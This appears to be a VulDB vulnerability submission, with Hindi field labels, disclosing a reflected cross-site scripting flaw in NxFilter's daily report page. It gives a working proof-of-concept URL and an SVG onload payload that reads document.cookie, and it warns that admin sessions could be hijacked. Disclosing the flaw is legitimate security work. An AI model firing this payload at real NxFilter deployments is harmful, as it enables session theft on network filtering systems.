| शीर्षक | Reflected XSS in NXFILTER |
|---|
| विवरण | A reflected xss in NXFILTER was found in https://IP_ADDRESS/report,daily.jsp?stime=2023%2F07%2F12&timeOption=yesterday&user=aaaaa%22%3E%3Csvg%20onload=alert(document.cookie)%20%3C/svg%3E
Payload: "><svg onload=alert(document.cookie) >
Nxfilter version: x.x.x.x
This can hijack admin sessions and cause terrible damage, as nxfilter works as an internet traffic controller.
Vulnerable page: https://IP_ADDRESS/report,daily.jsp |
|---|
| स्रोत | ⚠️ https://www.warp2search.net/story/nxfilter-4325/ |
|---|
| उपयोगकर्ता | 0xgordo (UID 50709) |
|---|
| सबमिशन | 13/07/2023 02:57 PM (3 साल पहले) |
|---|
| संयम | 22/07/2023 08:23 AM (9 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 235191 [NxFilter 4.3.2.5 user क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 20 |
|---|